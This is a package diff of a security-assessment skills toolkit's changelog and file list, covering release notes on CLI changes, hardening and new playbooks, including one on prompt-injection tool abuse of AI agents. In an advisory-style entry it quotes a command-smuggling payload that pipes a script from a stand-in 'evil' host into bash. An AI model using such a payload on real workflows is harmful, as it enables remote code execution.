@blamejs/exceptd-skills 0.12.40 → 0.13.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/AGENTS.md +17 -0
- package/ARCHITECTURE.md +7 -4
- package/CHANGELOG.md +215 -248
- package/CONTEXT.md +2 -2
- package/README.md +2 -8
- package/agents/threat-researcher.md +2 -2
- package/bin/exceptd.js +179 -81
- package/data/_indexes/_meta.json +50 -50
- package/data/_indexes/activity-feed.json +1 -1
- package/data/_indexes/catalog-summaries.json +1 -1
- package/data/_indexes/chains.json +485 -13
- package/data/_indexes/frequency.json +4 -0
- package/data/_indexes/jurisdiction-map.json +15 -4
- package/data/_indexes/section-offsets.json +1224 -1224
- package/data/_indexes/token-budget.json +170 -170
- package/data/atlas-ttps.json +54 -11
- package/data/attack-techniques.json +113 -17
- package/data/cve-catalog.json +38 -52
- package/data/cwe-catalog.json +8 -2
- package/data/exploit-availability.json +1 -0
- package/data/framework-control-gaps.json +149 -6
- package/data/global-frameworks.json +1 -0
- package/data/playbooks/ai-api.json +5 -0
- package/data/playbooks/cicd-pipeline-compromise.json +970 -0
- package/data/playbooks/cloud-iam-incident.json +4 -1
- package/data/playbooks/cred-stores.json +10 -0
- package/data/playbooks/crypto-codebase.json +13 -0
- package/data/playbooks/framework.json +16 -0
- package/data/playbooks/hardening.json +4 -0
- package/data/playbooks/identity-sso-compromise.json +951 -0
- package/data/playbooks/idp-incident.json +3 -0
- package/data/playbooks/kernel.json +6 -0
- package/data/playbooks/llm-tool-use-exfil.json +963 -0
- package/data/playbooks/mcp.json +6 -0
- package/data/playbooks/runtime.json +4 -0
- package/data/playbooks/sbom.json +13 -0
- package/data/playbooks/secrets.json +6 -0
- package/data/playbooks/webhook-callback-abuse.json +916 -0
- package/data/zeroday-lessons.json +1 -0
- package/lib/cross-ref-api.js +33 -13
- package/lib/cve-curation.js +12 -1
- package/lib/exit-codes.js +29 -0
- package/lib/lint-skills.js +25 -3
- package/lib/playbook-runner.js +8 -4
- package/lib/refresh-external.js +10 -1
- package/lib/scoring.js +64 -1
- package/lib/sign.js +40 -7
- package/lib/verify.js +5 -5
- package/manifest.json +83 -83
- package/orchestrator/README.md +7 -7
- package/orchestrator/index.js +46 -25
- package/orchestrator/scheduler.js +2 -2
- package/package.json +1 -1
- package/sbom.cdx.json +135 -91
- package/scripts/check-test-coverage.js +6 -6
- package/scripts/predeploy.js +7 -13
- package/scripts/refresh-reverse-refs.js +107 -20
- package/scripts/refresh-sbom.js +21 -4
- package/skills/age-gates-child-safety/skill.md +1 -5
- package/skills/ai-attack-surface/skill.md +11 -4
- package/skills/ai-c2-detection/skill.md +11 -2
- package/skills/ai-risk-management/skill.md +4 -2
- package/skills/api-security/skill.md +7 -8
- package/skills/attack-surface-pentest/skill.md +2 -2
- package/skills/cloud-iam-incident/skill.md +1 -5
- package/skills/cloud-security/skill.md +0 -4
- package/skills/compliance-theater/skill.md +10 -2
- package/skills/container-runtime-security/skill.md +1 -3
- package/skills/dlp-gap-analysis/skill.md +3 -4
- package/skills/email-security-anti-phishing/skill.md +1 -8
- package/skills/exploit-scoring/skill.md +7 -2
- package/skills/framework-gap-analysis/skill.md +1 -1
- package/skills/fuzz-testing-strategy/skill.md +1 -2
- package/skills/global-grc/skill.md +3 -2
- package/skills/identity-assurance/skill.md +1 -3
- package/skills/idp-incident-response/skill.md +1 -4
- package/skills/incident-response-playbook/skill.md +1 -5
- package/skills/kernel-lpe-triage/skill.md +2 -2
- package/skills/mcp-agent-trust/skill.md +13 -3
- package/skills/mlops-security/skill.md +3 -4
- package/skills/ot-ics-security/skill.md +0 -3
- package/skills/policy-exception-gen/skill.md +11 -3
- package/skills/pqc-first/skill.md +4 -2
- package/skills/rag-pipeline-security/skill.md +2 -0
- package/skills/ransomware-response/skill.md +1 -5
- package/skills/researcher/skill.md +4 -3
- package/skills/sector-energy/skill.md +0 -4
- package/skills/sector-federal-government/skill.md +2 -3
- package/skills/sector-financial/skill.md +1 -4
- package/skills/sector-healthcare/skill.md +0 -5
- package/skills/sector-telecom/skill.md +0 -4
- package/skills/security-maturity-tiers/skill.md +1 -2
- package/skills/skill-update-loop/skill.md +4 -3
- package/skills/supply-chain-integrity/skill.md +4 -3
- package/skills/threat-model-currency/skill.md +1 -1
- package/skills/threat-modeling-methodology/skill.md +2 -1
- package/skills/webapp-security/skill.md +0 -5
package/CHANGELOG.md
CHANGED
|
@@ -1,47 +1,188 @@
|
|
|
1
1
|
# Changelog
|
|
2
2
|
|
|
3
|
-
## 0.
|
|
3
|
+
## 0.13.0 — 2026-05-17
|
|
4
|
+
|
|
5
|
+
Minor release. Breaking-change bundle for the v0.10.x legacy-verb removal that has been deprecation-bannered since v0.11.0; envelope harmonization across every JSON-emitting verb; 4 new playbooks expanding the canonical set to 20; engine hardening (factor-shape validation, cache invalidation, fsync-on-rename, deterministic SBOM); schema reverse fields on ATLAS, ATT&CK, and the playbook chain.
|
|
6
|
+
|
|
7
|
+
### Breaking changes — migration required
|
|
8
|
+
|
|
9
|
+
**Five v0.10.x legacy verbs hard-removed: `plan`, `govern`, `direct`, `look`, `ingest`.** They were deprecation-bannered since v0.11.0 and slated-for-removal-in-v0.13 since v0.12.0. Operators on v0.10.x → v0.13.0 now get a structured `ok:false` refusal with the v0.11+ replacement command. Each removal is a pure rename — same underlying capability is reachable via the replacement. Refusal body shape:
|
|
10
|
+
|
|
11
|
+
```json
|
|
12
|
+
{
|
|
13
|
+
"ok": false,
|
|
14
|
+
"error": "'plan' was removed in v0.13.0. Use `exceptd brief --all` instead.",
|
|
15
|
+
"verb": "plan",
|
|
16
|
+
"removed_in": "0.13.0",
|
|
17
|
+
"replacement": "brief --all",
|
|
18
|
+
"deprecation_history": "Deprecated in v0.11.0 ... removed in v0.13.0."
|
|
19
|
+
}
|
|
20
|
+
```
|
|
21
|
+
|
|
22
|
+
Replacements:
|
|
23
|
+
- `exceptd plan` → `exceptd brief --all`
|
|
24
|
+
- `exceptd govern <pb>` → `exceptd brief <pb> --phase govern`
|
|
25
|
+
- `exceptd direct <pb>` → `exceptd brief <pb> --phase direct`
|
|
26
|
+
- `exceptd look <pb>` → `exceptd brief <pb> --phase look`
|
|
27
|
+
- `exceptd ingest <args>` → `exceptd run <args>`
|
|
28
|
+
|
|
29
|
+
`reattest` and `list-attestations` were also deprecation-bannered but are PRESERVED — they remain canonical short-form routings of `attest diff` / `attest list` and stay functional.
|
|
30
|
+
|
|
31
|
+
The deprecation-banner + tempdir-marker mechanism (added v0.11.0, persisted via `EXCEPTD_DEPRECATION_SHOWN` env var + `exceptd-deprecation-shown-v<X.Y.Z>` tempdir marker) is removed. Pre-v0.13 scripts that pinned the banner shape should remove those assertions.
|
|
32
|
+
|
|
33
|
+
**Orchestrator exit-code class change: usage errors exit 1 (`GENERIC_FAILURE`), not 2 (`DETECTED_ESCALATE`).** Affected verbs: `framework-gap` (missing args), `report <format>` (unknown format), `validate-cves` / `validate-rfcs` (catalog-read failure), `watchlist` (manifest-read failure), `skill <name>` (skill-not-found). Pre-v0.13 these exited 2, colliding with the canonical CI contract where exit 2 means "verb ran and detected an escalation-worthy finding." CI gates wired to branch on exit 2 will need to also accept exit 1 for these verbs, OR pre-validate inputs before invocation.
|
|
34
|
+
|
|
35
|
+
**Envelope harmonization: every JSON-emitting verb now carries top-level `ok` and (where applicable) `verb`.** Pre-v0.13 `brief --all`, `watchlist`, `ci`, `doctor`, `discover`, `attest show`, `attest export`, and `cmdRunMulti` omitted one or both fields inconsistently. `emit()` now defaults `ok: true` when not set (symmetric to the existing `ok: false → exit 1` fallback), and per-verb call sites set `verb: "..."` explicitly. Consumers that parsed bodies for the absence of these fields will break; consumers reading specific known fields are unaffected.
|
|
36
|
+
|
|
37
|
+
**Orchestrator `ok:false` bodies now land on stdout (not stderr).** Aligns with the bin/exceptd.js convention so a single consumer can parse the verb's envelope without splitting across two streams. Advisory text (`[verb] hint: ...`) still goes to stderr.
|
|
38
|
+
|
|
39
|
+
### Security
|
|
40
|
+
|
|
41
|
+
**`lib/sign.js` `generateKeypair()` ACL-hardening status surfaces in CLI output.** `restrictWindowsAcl()` now returns a boolean; the verdict line announces `Windows ACL hardened: yes|NO` rather than silently warning.
|
|
42
|
+
|
|
43
|
+
**`lib/cve-curation.js` + `lib/refresh-external.js` `writeJsonAtomic()` fsync before rename.** Pre-v0.13 a power loss between the tmp-write and the rename could leave the renamed destination zero-length / partial. The open + write + fsync + close + rename idiom closes the durability gap on both atomic-write helpers.
|
|
44
|
+
|
|
45
|
+
### Features
|
|
46
|
+
|
|
47
|
+
**4 new playbooks expand the canonical set to 20.**
|
|
48
|
+
- `webhook-callback-abuse` — OAuth callback hijack, inbound-webhook signature validation, Slack/Teams/Discord webhook leakage, the Snowflake-class long-lived-callback-token-in-CI-log pattern.
|
|
49
|
+
- `cicd-pipeline-compromise` — self-hosted runner takeover, workflow-injection (the `${{ inputs.* }}` class), third-party Action SHA-pin discipline, OIDC trust-policy abuse, runner-scoped signing keys. Distinct from `sbom` (package-registry supply chain).
|
|
50
|
+
- `identity-sso-compromise` — in-progress IdP-plane detection (Salt Typhoon / Scattered Spider / Okta-2023 / golden-SAML / PRT theft patterns). Detect-side counterpart to the existing `idp-incident` (response playbook).
|
|
51
|
+
- `llm-tool-use-exfil` — agentic-AI tool abuse via prompt injection. Auto-approve-on-high-impact-tool, instruction-coercion grammar in tool responses, unprompted tool chains, credential-shadow in tool args. Distinct from `dlp-exfiltration` (enterprise DLP) and `mcp` (install-time tool trust).
|
|
52
|
+
|
|
53
|
+
Each new playbook carries `threat_currency_score >= 90`, full air-gap alternatives on look artifacts, substantive theater_test blocks on framework gaps, and `feeds_into[]` chains into the existing playbook set.
|
|
54
|
+
|
|
55
|
+
**Schema reverse fields populated across 3 catalogs + playbooks.**
|
|
56
|
+
- ATLAS TTPs now carry `cve_refs[]` (11 entries populated with 21 back-edges from `cve.atlas_refs`).
|
|
57
|
+
- ATT&CK techniques now carry `cve_refs[]` (20 entries populated with 56 back-edges from `cve.attack_refs`).
|
|
58
|
+
- Every playbook now carries `_meta.fed_by[]` (11 playbooks populated with 54 back-edges from `_meta.feeds_into[].playbook_id`). Operators reading a playbook can see what chains INTO it without grepping every other playbook.
|
|
59
|
+
|
|
60
|
+
`scripts/refresh-reverse-refs.js` extends to 8 reverse-direction passes (4 manifest-driven, 2 CVE-driven, 2 catalog-back-edge, 1 playbook-back-edge); `npm run refresh-reverse-refs` rebuilds the full set in one pass.
|
|
61
|
+
|
|
62
|
+
**`lib/scoring.js validate()` refuses mixed Shape A / Shape B factor sets.** The catalog historically stored `rwep_factors` in two distinct shapes (raw booleans + post-weight integers). Mixing shapes inside one entry silently broke the sum invariant — a CVE with `cisa_kev: true, blast_radius: 30` reported rwep 30 instead of the operator-intended 55. The new `detectFactorShape()` helper detects mixed entries and emits a structured error pointing at the affected CVE id.
|
|
63
|
+
|
|
64
|
+
**`lib/cross-ref-api.js` cache invalidation uses (mtime, size) tier.** Pre-v0.13 cache invalidation was mtime-only; on filesystems with 1-2s mtime granularity (FAT32, HFS+ pre-APFS, NFSv3, Docker bind-mounts that proxy mtime) a rapid refresh-then-reload within the same second served stale data. Adding `size` catches every content change that affects byte count.
|
|
65
|
+
|
|
66
|
+
**`lib/lint-skills.js` enforces `last_threat_review` staleness gate.** Warn at >180 days; hard fail at >365 days. Operators with stale skills get a structured warning naming the affected file + the exact day count; year-stale skills fail the lint outright. The forcing function for Hard Rule #8 (which was policy-only pre-v0.13).
|
|
67
|
+
|
|
68
|
+
**`scripts/refresh-sbom.js` produces a deterministic bundle.** `metadata.timestamp` and `serialNumber` are derived from the content-hash seed (`<name>@<version>@<bundleSha>`) instead of wall-clock. Identical content → identical SBOM across re-runs. The SBOM-currency predeploy gate can now rely on byte-identity for the no-change case.
|
|
69
|
+
|
|
70
|
+
**`exceptd doctor --fix` second remediation branch: post-rotate stale signatures.** Continues the v0.12.41 fix. When the private key IS present but the signatures check fails (the `generate-keypair --rotate` followup state), `doctor --fix` runs `sign-all` to re-sign skills + manifest against the current keypair. Without this branch the rotation flow would converge to a broken-but-not-self-healing state.
|
|
71
|
+
|
|
72
|
+
### Bugs
|
|
73
|
+
|
|
74
|
+
**3 catalogs got `last_threat_review` fields backfilled.** `exploit-availability.json`, `global-frameworks.json`, `zeroday-lessons.json` carried `last_updated` but lacked the threat-review timestamp the other 8 catalogs use. All 11 now follow the same shape.
|
|
75
|
+
|
|
76
|
+
**`active_exploitation` field vocabulary now declared in `cve-catalog.json._meta`.** Pre-v0.13 the field accepted free-form values; 10 entries used `"unknown"` which wasn't documented. The new `_meta.active_exploitation_vocabulary` block enumerates `confirmed | suspected | theoretical | none | unknown` with per-value definitions.
|
|
77
|
+
|
|
78
|
+
**4 CVEs flipped `_draft: false` (verified).** `CVE-2024-3094` (xz-utils backdoor), `CVE-2024-21626` (Leaky Vessels), `CVE-2026-42945` (NGINX Rift), `MAL-2026-TANSTACK-MINI`. 1 quarantined (`MAL-2026-ANTHROPIC-MCP-STDIO` — duplicate of `CVE-2026-30623`). The remaining 15 draft CVEs are now marked with a structured `_draft_reason` ("blocked on missing zeroday-lessons entry" in all 14 cases except the GTIG embargoed placeholder).
|
|
79
|
+
|
|
80
|
+
**Hard Rule #5 regional-framework backfill on 7 skills.** `policy-exception-gen`, `compliance-theater`, `exploit-scoring`, `ai-c2-detection`, `ai-attack-surface`, `mcp-agent-trust`, `api-security` previously cited NIST without one or more of EU/UK/AU/ISO equivalents. Each now carries substantive references to NIS2/DORA/EU AI Act, NCSC CAF, ASD ISM/Essential 8, and ISO 27001:2022 controls as appropriate.
|
|
4
81
|
|
|
5
|
-
|
|
82
|
+
**39 of 42 skills got `data_deps` arrays regenerated** from body content references. Pre-v0.13 the array drifted whenever a skill body added or removed a `data/<file>.json` reference without the frontmatter being updated. `api-security` and `email-security-anti-phishing` ended up with empty `data_deps` — their bodies reference no catalog file by name; flagged for v0.14 body-content review.
|
|
83
|
+
|
|
84
|
+
**`scripts/refresh-reverse-refs.js` orphan detection caught 8 framework-gap forward-orphan references introduced by the Hard Rule #5 backfill.** `NIST-800-53-SC-39`, `ISO-27001-2022-A.8.22`, `CIS-Kubernetes-Benchmark-5.7`, `NIST-800-218-SSDF-PW.4`, `NIST-800-53-SR-3`, `SLSA-v1.0-Source-L3`, `NIST-AI-RMF-MAP-3.4`, `OWASP-Top-10-2021-A06`. These are real framework controls cited by the new skill content but absent from the gap catalog; tracked for v0.14 gap-catalog expansion.
|
|
85
|
+
|
|
86
|
+
### Internal
|
|
87
|
+
|
|
88
|
+
- `lib/exit-codes.js` exports `safeExit(code)` — sets `process.exitCode` without calling `process.exit()`. Dispatch surface (`bin/exceptd.js`, `orchestrator/index.js`) converted from `process.exit(N)` to `safeExit(EXIT_CODES.X)` for non-zero codes; `tests/safe-exit-grep.test.js` refuses regressions.
|
|
89
|
+
- `validate-playbooks` predeploy gate flipped from informational to required. 20/20 playbooks validate cleanly.
|
|
90
|
+
- 7 new pinning tests in `tests/v0_12_41-fixes.test.js`, `tests/safe-exit-grep.test.js`, `tests/atlas-version-canonical.test.js`, `tests/operator-leak-grep.test.js`, `tests/verify-shipped-tarball-wrapper.test.js`.
|
|
91
|
+
- Test suite: 1179 total, 1173 pass, 6 skipped (POSIX-only / no-privkey gates), 0 fail.
|
|
92
|
+
- `release.yml` publish-job split (id-token:write vs contents:write separation) and `refresh.yml` split-checkout pattern remain in v0.14 backlog; they're workflow-security hardening with no operator-facing surface change.
|
|
93
|
+
|
|
94
|
+
## 0.12.41 — 2026-05-17
|
|
95
|
+
|
|
96
|
+
Cross-domain hygiene pass: signature-regression class fix, sidecar hardening, attestation UX, ATLAS pin reconciliation, operator-narrative scrub, and structural test pins to lock the class fixes against future drift.
|
|
97
|
+
|
|
98
|
+
### Security
|
|
99
|
+
|
|
100
|
+
**`doctor --fix` now refuses when `keys/public.pem` exists without a matching private key, AND detects post-rotation stale signatures.** Pre-fix the production code path silently invoked `generateKeypair()` whenever the private key was missing, overwriting the shipped `keys/public.pem` and orphaning every existing signature. This is the same class of bug that broke five v0.11.x → v0.12.2 releases — an operator running the canonical fix command would get a working keypair locally and a broken `exceptd doctor` for every subsequently shipped install. Now: refusal is explicit with a structured `fix_attempted: ed25519_keypair_generation_declined` reason and an actionable hint pointing at `--rotate`. After successful generation, `doctor --fix` chains `sign-all` so the manifest + skills carry signatures paired with the new keypair (without the chain, the very next `doctor` reports 0/N passing). Second branch: when the private key IS present but the signatures check fails (the post-`generate-keypair --rotate` state — the rotation flow's remediation), `doctor --fix` runs `sign-all` to re-sign skills + manifest against the current keypair. Without this second branch, `--rotate` would converge to a broken-but-not-self-healing state.
|
|
101
|
+
|
|
102
|
+
**Attestation sidecar `.sig` files now write at mode `0o600` + Windows ACL hardening.** v0.12.38 hardened the primary attestation JSON; the sibling `.sig` sidecars that ride alongside were missed and inherited the default umask (0o644 on POSIX, default ACL on Windows). On multi-tenant hosts the sidecar leaked the signature payload. Both the signed and unsigned-stub write paths now match the attestation.json hardening.
|
|
6
103
|
|
|
7
104
|
### Bugs
|
|
8
105
|
|
|
9
|
-
|
|
106
|
+
**`attest <subverb>` typos now return `did_you_mean[]`.** Pre-fix `exceptd attest verfy <sid>` collapsed into a downstream "no session dir" error because subverb membership was checked after session-id resolution. Now the subverb gate runs first and returns a Levenshtein-1 suggestion (`{ did_you_mean: ["verify"], accepted_subverbs: ["list","show","export","verify","diff"] }`). Closes the typo-suggestion class introduced by v0.12.37 for top-level verbs.
|
|
107
|
+
|
|
108
|
+
**`attest diff <sid> --against <other>` guards against empty `attestations[]`.** Pre-fix a session directory containing only replay records (no `attestation.json`) caused `cmdAttest diff` to throw `TypeError: Cannot read properties of undefined (reading 'captured_at')`. Now: structured `ok:false` with `attestation_count: 0` and a hint pointing at `exceptd attest show <sid>` for visibility.
|
|
109
|
+
|
|
110
|
+
**`exceptd ask "..." --pretty` now honors `--pretty`.** Pre-fix the flag was silently ignored unless paired with `--json` (the discover/doctor convention is `--pretty` opts into structured output). Aligns the three verbs.
|
|
111
|
+
|
|
112
|
+
**`lib/scoring.js` `compare()` distinguishes "no scoring signal" from "broadly aligned".** Pre-fix a CVE entry with `rwep_score: 0` AND `cvss_score: 0` (e.g. an unmigrated catalog entry) printed "CVSS and RWEP are broadly aligned" — false alignment signal that masked a catalog gap. Now: explicit "no scoring signal — investigate catalog entry" branch.
|
|
113
|
+
|
|
114
|
+
**`normalizeSubmission` no longer mutates frozen input.** The `_runErrors` push for `signal_overrides_invalid` previously mutated the caller's submission in place; a frozen submission (defensive `Object.freeze`, or shared reference across parallel runs) threw uncaught. Now clones before mutation.
|
|
115
|
+
|
|
116
|
+
**14 unresolved cross-references removed from the catalogs.** `cve-catalog.json` and `framework-control-gaps.json` carried 14 refs to CWE / ATLAS / ATT&CK entries that don't exist in their respective catalogs. Each stale ref dropped from its owning entry rather than introducing a placeholder destination. Affected entries: `CVE-2024-21626`, `CVE-2023-3519`, `CVE-2024-1709`, `CVE-2024-40635`, `CVE-2026-GTIG-AI-2FA`, `CVE-2026-42945`, `MAL-2026-TANSTACK-MINI`, `CVE-2024-3154`, `CVE-2023-43472`, `CVE-2025-59389`, `AU-Essential-8-App-Hardening`.
|
|
117
|
+
|
|
118
|
+
**`PCI-DSS-4.0.1-12.3.3` orphan gap now maps to ATT&CK `T1573` + `T1600`.** The gap entry described real PQC / cipher-inventory controls but carried no `evidence_cves`, `atlas_refs`, or `attack_refs` — a Hard Rule #4 violation. Mapping retains the gap content; the previously-orphan entry now references the encryption-channel + weaken-encryption techniques it actually exists to detect.
|
|
119
|
+
|
|
120
|
+
**5 forward-orphan gap references now resolved.** `CVE-2026-46300` and `MAL-2026-NODE-IPC-STEALER` cited `DORA-Art-9` (existing entry; ID-format orphan only), `UK-CAF-B4`, `AU-ISM-1546`, `ISO-27001-2022-A.5.7`, `NIS2-Art21-supply-chain` — four gap entries did not exist. All four added with substantive `theater_test` blocks; the DORA reference was canonicalized to the existing entry's ID format.
|
|
121
|
+
|
|
122
|
+
**`crypto-codebase` playbook now declares `air_gap_alternative` paths.** It was the only playbook missing the field — operators running with `--air-gap` had no documented offline equivalent for any of its 13 look artifacts. Each now declares the local-filesystem equivalent (the artifacts use `Glob` / `Grep` / `Read` against the working tree, so the alternative is the same operation noted explicitly).
|
|
10
123
|
|
|
11
|
-
**`
|
|
124
|
+
**`active_exploitation` field vocabulary declared in `cve-catalog.json._meta`.** Pre-fix the field accepted free-form values; 10 entries used `"unknown"` which wasn't documented. The new `_meta.active_exploitation_vocabulary` block enumerates `confirmed | suspected | theoretical | none | unknown` with per-value definitions.
|
|
12
125
|
|
|
13
|
-
**`
|
|
126
|
+
**`last_threat_review` field added to 3 catalogs.** `exploit-availability.json`, `global-frameworks.json`, and `zeroday-lessons.json` carried `last_updated` but lacked the threat-review timestamp the other 8 catalogs use. Backfilled so all 11 catalogs follow the same shape.
|
|
14
127
|
|
|
15
|
-
**
|
|
128
|
+
**SBOM duplicates resolved.** `sbom.cdx.json` listed `vendor/blamejs/retry.js` and `vendor/blamejs/worker-pool.js` under two component records each — once as a version-less `type: "file"` entry and once as a version-bearing `type: "library"` entry. Removed the version-less duplicates; canonical entries retain pin version, licenses, externalReferences, and provenance.
|
|
129
|
+
|
|
130
|
+
**ATLAS version pin reconciled across operator-facing surfaces.** The canonical pin (`data/atlas-ttps.json._meta.atlas_version`) is **v5.4.0** (February 2026); `CONTRIBUTING.md`, `MAINTAINERS.md`, `CONTEXT.md`, `.github/copilot-instructions.md`, `.github/PULL_REQUEST_TEMPLATE.md`, and `agents/threat-researcher.md` still cited the stale v5.1.0. New `tests/atlas-version-canonical.test.js` blocks future drift across operator-facing docs, agent personas, and skill bodies.
|
|
131
|
+
|
|
132
|
+
**Operator-facing strings now reference `exceptd <verb>` instead of `node lib/...`.** A prior release closed one site; the broader sweep covered `bin/exceptd.js` (5 sites in the doctor hints / renderer), `lib/lint-skills.js`, `lib/verify.js` (5 sites in error messages), `lib/playbook-runner.js`, `orchestrator/index.js` (help + examples), `orchestrator/scheduler.js`, and `orchestrator/README.md`. The contributor-checkout `node $(exceptd path)/lib/...` form is retained as a fallback for non-npm-installed contributors; new `tests/operator-leak-grep.test.js` blocks future leaks.
|
|
133
|
+
|
|
134
|
+
### Features
|
|
135
|
+
|
|
136
|
+
**README, AGENTS, ARCHITECTURE, MAINTAINERS reconciled.** README "Status" rewritten as a single behavior-framed paragraph (was multi-paragraph release narrative). ARCHITECTURE's "Required Body Sections" reconciled with AGENTS.md (7 required + 1 optional, not 8 required). AGENTS.md Hard Rules now annotated with the forcing-function script per rule — rules #5, #9, and #14 explicitly marked **policy only**, all others cite the enforcing test or gate.
|
|
137
|
+
|
|
138
|
+
**Predeploy gate count no longer hardcoded in docs.** README, MAINTAINERS, and prior CHANGELOG entries previously cited "13-gate" / "14-gate" / "15 gates" interchangeably. Operator-facing docs now reference "the predeploy gate sequence" without a number; the source of truth is `scripts/predeploy.js`'s `GATES` array.
|
|
139
|
+
|
|
140
|
+
**CHANGELOG voice scrub.** 31 prior release entries scrubbed of internal-process narrative (process IDs, finding IDs, multi-agent dispatch sentences, tautological gate/test footers, and forward-roadmap forecasts). Net 182 lines removed. Operator-meaningful facts retained.
|
|
141
|
+
|
|
142
|
+
**`release.yml` CHANGELOG-extraction now emits `::warning::` on fallback.** Pre-fix a malformed `## <version>` header silently fell back to the generic "Release of v<X.Y.Z>." body; operators reading the GitHub Release page saw no signal that the extraction failed.
|
|
143
|
+
|
|
144
|
+
**Shipped script comments scrubbed of internal narrative.** `scripts/check-test-coverage.js`, `scripts/refresh-reverse-refs.js`, `.github/workflows/release.yml`, and `.github/workflows/scorecard.yml` had references in comments that ship via the tarball. Replaced with version-only or intent-only framing.
|
|
16
145
|
|
|
17
146
|
### Internal
|
|
18
147
|
|
|
19
|
-
-
|
|
20
|
-
-
|
|
21
|
-
-
|
|
22
|
-
|
|
23
|
-
|
|
148
|
+
- 4 new pinning test files (`tests/v0_12_41-fixes.test.js`, `tests/atlas-version-canonical.test.js`, `tests/operator-leak-grep.test.js`, `tests/verify-shipped-tarball-wrapper.test.js`), plus in-place hardenings of existing tests for the field-presence-not-populated and coincidence-passing classes.
|
|
149
|
+
- `tests/sbom-per-file-hash.test.js` now snapshots `sbom.cdx.json` before regeneration and restores on SIGINT / process exit, closing the "mutating test pollutes the repo on Ctrl-C" pattern.
|
|
150
|
+
- `tests/operator-bugs.test.js` `#87 doctor --fix is registered` test no longer uses `notEqual(r.status, 2)` (coincidence-passing); pins the accepted-exit-codes set explicitly.
|
|
151
|
+
|
|
152
|
+
## 0.12.40 — 2026-05-16
|
|
153
|
+
|
|
154
|
+
Catalog symmetry + operator UX. The headline closes 137 framework-gap ↔ CVE asymmetries with a single reverse-ref script extension, plus three operator-facing UX fixes.
|
|
155
|
+
|
|
156
|
+
### Bugs
|
|
157
|
+
|
|
158
|
+
**137 framework-gap ↔ CVE asymmetries auto-regenerated.** `cve.framework_control_gaps` (dict keyed by gap-id) and `gap.evidence_cves` (array of CVE ids) had drifted apart — 24 CVE-side references missing reverse + 79 gap-side references missing reverse. Worst-case: `CVE-2025-53773` cited in 42 gap.evidence_cves but only declared 3 in its own framework_control_gaps. Fix: `scripts/refresh-reverse-refs.js` extended with the CVE→framework-gap direction (handles the dict-keyed forward field via new `forwardFieldShape: 'object-keys'` parameter). Drafts excluded per existing convention. 64 framework-gap entries regenerated on first run; new `tests/reverse-ref-drift.test.js` test blocks future drift. Surface side-effect: 5 forward-orphan gap references on `CVE-2026-46300` and `MAL-2026-NODE-IPC-STEALER` (gaps that don't exist in the catalog: `DORA-Art9`, `UK-CAF-B4`, `AU-ISM-1546`, `ISO-27001-2022-A.5.7`, `NIS2-Art21-supply-chain`) surfaced via the orphans report.
|
|
159
|
+
|
|
160
|
+
**`exceptd framework-gap` "0 theater-risk controls" footer fixed.** Pre-fix the summary footer reported `0 theater-risk controls` while every per-entry display showed the `⚠ THEATER RISK` badge. Root cause: the counter filtered on the legacy `theater_pattern` field while the v0.12.29 backfill had added a structured `theater_test` block on all 118 entries without populating `theater_pattern`. Fix: counter now matches entries with EITHER `theater_test` OR `theater_pattern`. Each theater-risk entry gains a `theater_test_present` boolean for tooling consumers.
|
|
161
|
+
|
|
162
|
+
**`exceptd skill` (no arg) no longer leaks orchestrator path.** Pre-fix the usage hint read `Usage: node orchestrator/index.js skill <skill-name>`. Now: `Usage: exceptd skill <skill-name>` + a pointer to `exceptd brief --all` for skill discovery.
|
|
163
|
+
|
|
164
|
+
**Unsigned-attestation warning leads with operator-facing verb.** Pre-fix the warning told operators to run `node lib/sign.js generate-keypair` — a node-internal script path that isn't on PATH after `npm install -g`. Now leads with `exceptd doctor --fix`, with the lib path retained as `node $(exceptd path)/lib/sign.js generate-keypair` for contributor checkouts.
|
|
24
165
|
|
|
25
166
|
|
|
26
167
|
## 0.12.39 — 2026-05-16
|
|
27
168
|
|
|
28
|
-
|
|
169
|
+
CI workflow hardening + CLI envelope shape contracts. One P1 script-injection sink in `release.yml` closed; three housekeeping fixes; envelope shape pinned on six more verbs.
|
|
29
170
|
|
|
30
171
|
### Security
|
|
31
172
|
|
|
32
|
-
**`release.yml` `inputs.tag` script-injection sink hardened.** Pre-fix the workflow_dispatch input `inputs.tag` was interpolated directly into a `run:` block (CWE-94 / CWE-78 class). A maintainer (or compromised actions:write token) firing `workflow_dispatch` with `tag = '"; curl evil/x.sh|bash; #"'` would have executed on the runner. The `npm-publish` environment has `id-token: write` available downstream, so an exploited dispatch could compromise npm provenance signing identity in the same workflow run. Fix: env-var indirection + regex allowlist `^v[0-9]+\.[0-9]+\.[0-9]+(-[A-Za-z0-9.]+)?$`. Mirrors the existing `refresh.yml` `inputs.source` hardening pattern.
|
|
173
|
+
**`release.yml` `inputs.tag` script-injection sink hardened.** Pre-fix the workflow_dispatch input `inputs.tag` was interpolated directly into a `run:` block (CWE-94 / CWE-78 class). A maintainer (or compromised actions:write token) firing `workflow_dispatch` with `tag = '"; curl evil/x.sh|bash; #"'` would have executed on the runner. The `npm-publish` environment has `id-token: write` available downstream, so an exploited dispatch could compromise npm provenance signing identity in the same workflow run. Fix: env-var indirection + regex allowlist `^v[0-9]+\.[0-9]+\.[0-9]+(-[A-Za-z0-9.]+)?$`. Mirrors the existing `refresh.yml` `inputs.source` hardening pattern.
|
|
33
174
|
|
|
34
175
|
### Bugs
|
|
35
176
|
|
|
36
|
-
**`scorecard.yml` `permissions: read-all` → explicit scopes.** Pre-fix the workflow-level fallback was `read-all`. Scorecard's own ruleset may flag that on a future bump; explicit `contents: read` + `actions: read` documents what we actually consume.
|
|
177
|
+
**`scorecard.yml` `permissions: read-all` → explicit scopes.** Pre-fix the workflow-level fallback was `read-all`. Scorecard's own ruleset may flag that on a future bump; explicit `contents: read` + `actions: read` documents what we actually consume.
|
|
37
178
|
|
|
38
|
-
**`GITLEAKS_FALLBACK` bumped to 8.28.0** (was 8.21.2). Documented as "bump each time the workflow is touched"
|
|
179
|
+
**`GITLEAKS_FALLBACK` bumped to 8.28.0** (was 8.21.2). Documented as "bump each time the workflow is touched".
|
|
39
180
|
|
|
40
|
-
**Docker ecosystem added to Dependabot.** `docker/test.Dockerfile` (used by `npm run test:docker` + `test:docker:fresh`) was outside Dependabot scope so the base image could float without surfacing. Test-only image (no production exposure), but a docker-ecosystem block + weekly cadence brings it under Scorecard's PinnedDependenciesID coverage.
|
|
181
|
+
